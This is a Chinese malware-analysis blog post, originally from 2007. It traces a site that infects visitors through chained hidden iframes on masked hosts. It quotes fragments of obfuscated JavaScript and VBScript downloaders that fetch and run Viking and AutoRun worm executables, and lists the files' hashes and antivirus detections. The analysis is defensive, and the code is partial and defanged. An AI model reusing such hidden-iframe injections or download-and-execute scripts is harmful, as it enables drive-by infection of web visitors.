一个会下载至少3个Viking等恶意程序的网站

我就是我 2024-02-17 14:01 46阅读 0赞

**endurer** 原创  
2007-06-07 第**1**版

有网友说他的电脑打开某个网站后不久，杀毒软件的实时监控被关闭，系统时间被修改，接着安装各种网络游戏和聊天账号的盗号木马。

检查该网站首页代码，发现：  
/---  
if(parent.window.opener) parent.window.opener.location＝'hxxp://aa\*\*\*a.sqr\*\*\*s11\*\*0.com/';  
……（略）……  
＜SCRIPT src＝"hxxp://m\*\*\*a.china\*\*s\*es\*e.net/top.js"＞＜/SCRIPT＞  
\---/

**hxxp://sqr\*\*\*s1\*\*.s\*\*e\*771.com/** 包含代码：  
/---  
＜iframe src＝"hxxp://m\*\*\*a.china\*\*s\*es\*e.net/110.htm" width＝"0" height＝"0" frameborder＝"0"＞＜/iframe＞  
\---/

**110.htm**包含代码：  
/---  
＜iframe src＝"hxxp://wg\*\*\*.72\*\*\*9\*72.com/index.htm" width＝"0" height＝"0" frameborder＝"0"＞＜/iframe＞  
\---/

**index.htm**包含代码：  
/---  
＜iframe src＝"hxxp://union\*\*.0\*\*\*kis.com/in.htm?7141" width＝"0" height＝"0" frameborder＝"0"＞＜/iframe＞  
\---/

**in.htm?7141** 包含代码：  
/---  
＜script src＝css.js＞＜/script＞  
＜html＞  
＜title＞  
test  
＜/title＞  
＜body＞  
＜iframe src＝test.htm width＝0 height＝0＞＜/iframe＞  
test  
＜/body＞  
＜/html＞  
\---/

**css.js** 的内容为用eval()执行自定义函数，经过2次解密，得到JavaScript代码，利用 Microsoft.XMLHTTP 和 scrīpting.FileSystemObject 下载文件 love.exe，保存到%windir%，文件名由自定义函数：  
/---  
function gn(n)｛var number ＝ Math.random()\*n;return Math.round(number)＋'.exe';｝  
\---/  
生成，即\*\*\*.exe（其中\*为数字），然后通过 Shell.Application 对象 Q 的 ShellExecute 方法执行命令： %windir%/system32/cmd.exe /c %windir%/\*\*\*.exe 来运行。

**test.htm** 包含代码：  
/---  
＜head＞  
＜title＞test＜/title＞  
＜script src＝"test.js"＞＜/script＞  
＜/head＞  
＜script＞  
exec();  
＜/script＞  
＜/body＞  
\---/

**test.js** 的内容未加密，使用ActiveXObject("ThunderServer.webThunder.1")下载 love.exe，保存到 c:/，并使用定时器来运行。

文件说明符 : D:/test/love.exe  
属性 : A---  
语言 : 中文(中国)  
文件版本 : 1.0.0.0  
说明 :  
版权 :  
备注 :  
产品版本 : 1.0.0.0  
产品名称 :  
公司名称 :  
合法商标 :  
内部名称 :  
源文件名 :  
创建时间 : 2007-6-6 21:41:28  
修改时间 : 2007-6-6 21:41:30  
访问时间 : 2007-6-6 0:0:0  
大小 : 95232 字节 93.0 KB  
MD5 : 0b75d7947a9ac806318170a2cd45188a

Kaspersky 报为 **Worm.Win32.Viking.lm**，瑞星报为 **Worm.Viking.tc**

<table> 
 <tbody> 
  <tr> 
   <td> <p><strong>Scanned file:&nbsp;&nbsp; <span style="COLOR: rgb(0,84,71)">love.exe <font>- Infected </font></span></strong></p> </td> 
  </tr> 
 </tbody> 
</table>

<table> 
 <tbody> 
  <tr> 
   <td><strong><font>love.exe - infected by <a href="http://www.viruslist.com/en/find?words=Worm.Win32.Viking.lm" rel="nofollow"><font>Worm.Win32.Viking.lm</font></a> </font><br></strong><br> <h4 style="MARGIN-BOTTOM: 0px; PADDING-BOTTOM: 0px">Statistics:</h4> 
    <table style="BORDER-RIGHT: rgb(0,84,71) 1px solid; BORDER-TOP: rgb(0,84,71) 1px solid; BORDER-LEFT: rgb(0,84,71) 1px solid; BORDER-BOTTOM: rgb(0,84,71) 1px solid"> 
     <tbody> 
      <tr> 
       <td align="right">Known viruses:</td> 
       <td align="left">340918</td> 
       <td align="right">Updated:</td> 
       <td align="left">06-06-2007</td> 
      </tr> 
      <tr> 
       <td align="right">File size (Kb):</td> 
       <td align="left">93</td> 
       <td align="right">Virus bodies:</td> 
       <td align="left">1</td> 
      </tr> 
      <tr> 
       <td align="right">Files:</td> 
       <td align="left">1</td> 
       <td align="right">Warnings:</td> 
       <td align="left">0</td> 
      </tr> 
      <tr> 
       <td align="right">Archives:</td> 
       <td align="left">0</td> 
       <td align="right">Suspicious:</td> 
       <td align="left">0</td> 
      </tr> 
     </tbody> 
    </table> </td> 
  </tr> 
 </tbody> 
</table>

**hxxp://m\*\*\*a.china\*\*s\*es\*e.net/top.js** 的代码比较少见：  
/---  
window\["/x64/x6f/x63/x75/x6d/x65/x6e/x74"\]\["/x77/x72/x69/x74/x65"\]("/x3c……（略）……/x3e");  
……（略）……  
window\["/x64……（略）……/x74"\]\["/x77/x72/x69/x74/x65/x6c/x6e"\]("/x3c///x70/x3e");  
……（略）……  
\---/  
解密为HTML代码：  
/---  
＜iframe width＝'0' height＝'0' src＝'hxxp://m\*\*\*a.china\*\*s\*es\*e.net/1100.htm'＞＜/iframe＞＜iframe width＝'0' height＝'0' src＝'hxxp://9.72972.com/index.html'＞＜/iframe＞＜iframe width＝'0' height＝'0' src＝'hxxp://wg\*\*\*.72\*\*\*9\*72.com/'＞＜/iframe＞＜p align＝"center"＞  
＜iframe frameborder＝no border＝0 marginwidth＝0 marginheight＝0 scrolling＝no width＝760 height＝80 src＝hxxp://m\*\*\*a.china\*\*s\*es\*e.net/110.htm target＝"\_blank" name＝"I1"＞＜/iframe＞  
＜/p＞  
\---/

**1100.htm** 的内容为 VBScript 脚本代码，功能是使用自定义函数：  
/---  
function rechange(k)  
s＝Split(k,Chr(-24081))  
t＝""  
For i ＝ 0 To UBound(s)  
kellav＝eval(s(i))  
t＝t＋Chr(kellav)  
Next  
rechange＝t  
End Function  
\---/  
解密变量：t＝"68★105★109……（略）……★13★10"，然后用execute()执行。

解密后的t值为VBScript 脚本代码，功能是利用 Microsoft.XMLHTTP 和 scrīpting.FileSystemObject 下载文件 123.exe，保存IE临时文件夹下，文件名为 HbSTWgP.com，创建文件 PDoQmyN.vbs，内容为：  
/---  
Set Shell ＝ CreateObject("WScript.Shell")  
Shell.Run ("IE临时文件夹下，文件名为 HbSTWgP.com")  
Set Shell ＝ Nothing  
\---/  
通过Shell.Application 对象 Run 的 ShellExecute 方法执行PDoQmyN.vbs，从而运行HbSTWgP.com。

文件说明符 : D:/test/123.exe  
属性 : A---  
获取文件版本信息大小失败!  
创建时间 : 2007-6-6 22:25:23  
修改时间 : 2007-6-6 22:25:24  
访问时间 : 2007-6-6 0:0:0  
大小 : 25291 字节 24.715 KB  
MD5 : 56c51cac7f6301be1b3c395d7bd226b8

Kaspersky 报为 **Virus.Win32.AutoRun.f**

<table> 
 <tbody> 
  <tr> 
   <td> <p><strong>Scanned file:&nbsp;&nbsp; <span style="COLOR: rgb(0,84,71)">123.exe <font>- Infected </font></span></strong></p> </td> 
  </tr> 
 </tbody> 
</table>

<table> 
 <tbody> 
  <tr> 
   <td><strong><font>123.exe - infected by <a href="http://www.viruslist.com/en/find?words=Virus.Win32.AutoRun.f" rel="nofollow"><font>Virus.Win32.AutoRun.f</font></a> </font><br></strong><br> <h4 style="MARGIN-BOTTOM: 0px; PADDING-BOTTOM: 0px">Statistics:</h4> 
    <table style="BORDER-RIGHT: rgb(0,84,71) 1px solid; BORDER-TOP: rgb(0,84,71) 1px solid; BORDER-LEFT: rgb(0,84,71) 1px solid; BORDER-BOTTOM: rgb(0,84,71) 1px solid"> 
     <tbody> 
      <tr> 
       <td align="right">Known viruses:</td> 
       <td align="left">340941</td> 
       <td align="right">Updated:</td> 
       <td align="left">06-06-2007</td> 
      </tr> 
      <tr> 
       <td align="right">File size (Kb):</td> 
       <td align="left">25</td> 
       <td align="right">Virus bodies:</td> 
       <td align="left">1</td> 
      </tr> 
      <tr> 
       <td align="right">Files:</td> 
       <td align="left">1</td> 
       <td align="right">Warnings:</td> 
       <td align="left">0</td> 
      </tr> 
      <tr> 
       <td align="right">Archives:</td> 
       <td align="left">0</td> 
       <td align="right">Suspicious:</td> 
       <td align="left">0</td> 
      </tr> 
     </tbody> 
    </table> </td> 
  </tr> 
 </tbody> 
</table>

**hxxp://9.72972.com/index.html** 包含代码：  
/---  
＜iframe src＝"hxxp://www.p\*u\*\*m\*a1\*\*\*64.com/p\*u\*\*/8549647.htm" width＝"0" height＝"0" frameborder＝"0"＞＜/iframe＞  
＜iframe src＝"hxxp://s\*\*\*w\*\*\*k\*ee.com/aacc.htm?23" width＝"0" height＝"0" frameborder＝"0"＞＜/iframe＞  
\---/

**hxxp://www.p\*u\*\*m\*a1\*\*\*64.com/p\*u\*\*/8549647.htm** 包含代码：  
/---  
＜SCRIPT language＝"Jscript.encode" src＝164.js＞＜/script＞  
\---/

**hxxp://www.p\*u\*\*m\*a1\*\*\*64.com/p\*u\*\*/164.js**   
的内容为用eval()执行自定义函数，经过3次解密，得到JavaScript代码，利用 Microsoft.XMLHTTP 和 scrīpting.FileSystemObject 下载文件 1.exe，保存到%windir%，文件名由自定义函数：  
/---  
function gn(n)｛var number ＝ Math.random()\*n;return Math.round(number)＋'.exe';｝  
\---/  
生成，即\*\*\*.exe（其中\*为数字），然后通过 Shell.Application 对象 Q 的 ShellExecute 方法执行命令： %windir%/system32/cmd.exe /c %windir%/\*\*\*.exe 来运行。

文件说明符 : D:/test/1.exe  
属性 : A---  
语言 : 中文(中国)  
文件版本 : 1.0.0.0  
说明 :  
版权 :  
备注 :  
产品版本 : 1.0.0.0  
产品名称 :  
公司名称 :  
合法商标 :  
内部名称 :  
源文件名 :  
创建时间 : 2007-6-6 22:30:27  
修改时间 : 2007-6-6 22:30:28  
访问时间 : 2007-6-6 0:0:0  
大小 : 95232 字节 93.0 KB  
MD5 : f13950bd6b6c31e10a8c66c5c3141aeb

Kaspersky 报为 **Worm.Win32.Viking.lr**，瑞星报为 **Worm.Viking.te**

<table> 
 <tbody> 
  <tr> 
   <td> <p><strong>Scanned file:&nbsp;&nbsp; <span style="COLOR: rgb(0,84,71)">1.exe <font>- Infected </font></span></strong></p> </td> 
  </tr> 
 </tbody> 
</table>

<table> 
 <tbody> 
  <tr> 
   <td><strong><font>1.exe - infected by <a href="http://www.viruslist.com/en/find?words=Worm.Win32.Viking.lr" rel="nofollow"><font>Worm.Win32.Viking.lr</font></a> </font><br></strong><br> <h4 style="MARGIN-BOTTOM: 0px; PADDING-BOTTOM: 0px">Statistics:</h4> 
    <table style="BORDER-RIGHT: rgb(0,84,71) 1px solid; BORDER-TOP: rgb(0,84,71) 1px solid; BORDER-LEFT: rgb(0,84,71) 1px solid; BORDER-BOTTOM: rgb(0,84,71) 1px solid"> 
     <tbody> 
      <tr> 
       <td align="right">Known viruses:</td> 
       <td align="left">340941</td> 
       <td align="right">Updated:</td> 
       <td align="left">06-06-2007</td> 
      </tr> 
      <tr> 
       <td align="right">File size (Kb):</td> 
       <td align="left">93</td> 
       <td align="right">Virus bodies:</td> 
       <td align="left">1</td> 
      </tr> 
      <tr> 
       <td align="right">Files:</td> 
       <td align="left">1</td> 
       <td align="right">Warnings:</td> 
       <td align="left">0</td> 
      </tr> 
      <tr> 
       <td align="right">Archives:</td> 
       <td align="left">0</td> 
       <td align="right">Suspicious:</td> 
       <td align="left">0</td> 
      </tr> 
     </tbody> 
    </table> </td> 
  </tr> 
 </tbody> 
</table>

**hxxp://s\*\*\*w\*\*\*k\*ee.com/aacc.htm?23** 包含代码：  
/---  
＜script src＝windows.js＞＜/script＞  
\---/

**windows.js** 的内容为用eval()执行自定义函数，解密后得到JavaScript代码，利用 Microsoft.XMLHTTP 和 scrīpting.FileSystemObject 下载文件 xz.exe，保存到%windir%，文件名由自定义函数：  
/---  
function Ks(vpn)｛var Num＝Math.random()\*vpn;return'~Temp'＋Math.round(Num)＋'.tmp'｝  
\---/  
生成，即~Temp\*\*\*..tmp（其中\*为数字），然后通过 Shell.Application 对象 Q 的 ShellExecute 方法执行命令： %windir%/system32/cmd.exe /c %windir%/\*\*\*.exe 来运行。

文件说明符 : D:/test/xz.exe  
属性 : A---  
语言 : 中文(中国)  
文件版本 : 1.0.0.0  
说明 :  
版权 :  
备注 :  
产品版本 : 1.0.0.0  
产品名称 :  
公司名称 :  
合法商标 :  
内部名称 :  
源文件名 :  
创建时间 : 2007-6-6 22:39:49  
修改时间 : 2007-6-6 22:39:50  
访问时间 : 2007-6-6 0:0:0  
大小 : 105472 字节 103.0 KBa  
MD5 : 692bdc6c4e92c7cc44fd623eaa8e1ddc

Kaspersky 报为 **Worm.Win32.Viking.bd**，瑞星报为 **Worm.Viking.el**

<table> 
 <tbody> 
  <tr> 
   <td> <p><strong>Scanned file:&nbsp;&nbsp; <span style="COLOR: rgb(0,84,71)">xz.exe <font>- Infected </font></span></strong></p> </td> 
  </tr> 
 </tbody> 
</table>

<table> 
 <tbody> 
  <tr> 
   <td><strong><font>xz.exe - infected by <a href="http://www.viruslist.com/en/find?words=Worm.Win32.Viking.bd" rel="nofollow"><font>Worm.Win32.Viking.bd</font></a> </font><br></strong><br> <h4 style="MARGIN-BOTTOM: 0px; PADDING-BOTTOM: 0px">Statistics:</h4> 
    <table style="BORDER-RIGHT: rgb(0,84,71) 1px solid; BORDER-TOP: rgb(0,84,71) 1px solid; BORDER-LEFT: rgb(0,84,71) 1px solid; BORDER-BOTTOM: rgb(0,84,71) 1px solid"> 
     <tbody> 
      <tr> 
       <td align="right">Known viruses:</td> 
       <td align="left">340941</td> 
       <td align="right">Updated:</td> 
       <td align="left">06-06-2007</td> 
      </tr> 
      <tr> 
       <td align="right">File size (Kb):</td> 
       <td align="left">103</td> 
       <td align="right">Virus bodies:</td> 
       <td align="left">1</td> 
      </tr> 
      <tr> 
       <td align="right">Files:</td> 
       <td align="left">1</td> 
       <td align="right">Warnings:</td> 
       <td align="left">0</td> 
      </tr> 
      <tr> 
       <td align="right">Archives:</td> 
       <td align="left">0</td> 
       <td align="right">Suspicious:</td> 
       <td align="left">0</td> 
      </tr> 
     </tbody> 
    </table> </td> 
  </tr> 
 </tbody> 
</table>